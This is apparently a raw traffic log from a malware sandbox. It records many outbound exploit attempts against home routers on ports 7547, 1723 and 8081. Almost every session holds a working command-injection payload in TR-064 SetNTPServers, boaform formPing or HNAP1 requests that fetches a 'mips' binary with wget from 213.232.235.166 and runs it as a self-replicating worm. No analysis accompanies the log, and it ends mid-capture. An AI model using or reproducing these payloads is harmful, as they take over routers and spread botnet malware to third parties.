Apr 15, 2024 08:53:47.808372974 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:49.632370949 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1229	192.168.2.13	38006	177.97.77.112	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:46.899410963 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:48.576482058 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:50.528398991 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:54.528467894 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1230	192.168.2.13	42008	94.122.51.36	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:46.931623936 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1231	192.168.2.13	34006	95.5.247.230	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:46.959506989 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:47.307944059 CEST	197	IN	HTTP/1.1 404 Not Found Date: Mon Apr 15 09:53:47 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
1232	192.168.2.13	37270	179.104.77.188	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:47.605145931 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:47.947722912 CEST	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1233	192.168.2.13	44048	213.211.34.171	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:47.888284922 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
1234	192.168.2.13	51518	109.157.45.8	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:47.892443895 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1235	192.168.2.13	47228	213.118.187.77	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:47.893400908 CEST	301	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
1236	192.168.2.13	38834	213.243.35.122	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:47.921044111 CEST	301	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
1237	192.168.2.13	60424	213.243.38.43	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:47.921118021 CEST	301	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
1238	192.168.2.13	37304	179.104.77.188	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:47.945981026 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:48.283834934 CEST	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1239	192.168.2.13	54518	164.250.72.59	8081

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:48.151060104 CEST	785	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/GetDeviceSettings/$(cd /tmp; busybox wget http://213.232.235.166/mips; chmod 777 mips; ./mips hnap.selfrep) Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1240	192.168.2.13	33442	181.167.49.14	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:48.182332039 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:49.056374073 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:50.816365004 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1241	192.168.2.13	49892	183.124.126.76	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:48.182353973 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:49.696367025 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1242	192.168.2.13	48154	190.192.56.69	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:48.240741968 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1243	192.168.2.13	43812	190.194.123.239	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:48.246754885 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1244	192.168.2.13	47910	41.251.136.101	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:48.270178080 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1245	192.168.2.13	48172	190.192.56.69	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:48.539936066 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1246	192.168.2.13	43830	190.194.123.239	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:48.553709984 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1247	192.168.2.13	47928	41.251.136.101	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:48.604317904 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1248	192.168.2.13	42878	193.108.29.86	8081

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:48.670001984 CEST	773	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/GetDeviceSettings/$(cd /tmp; busybox wget http://213.232.235.166/mips; chmod 777 mips; ./mips hnap.selfrep) Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 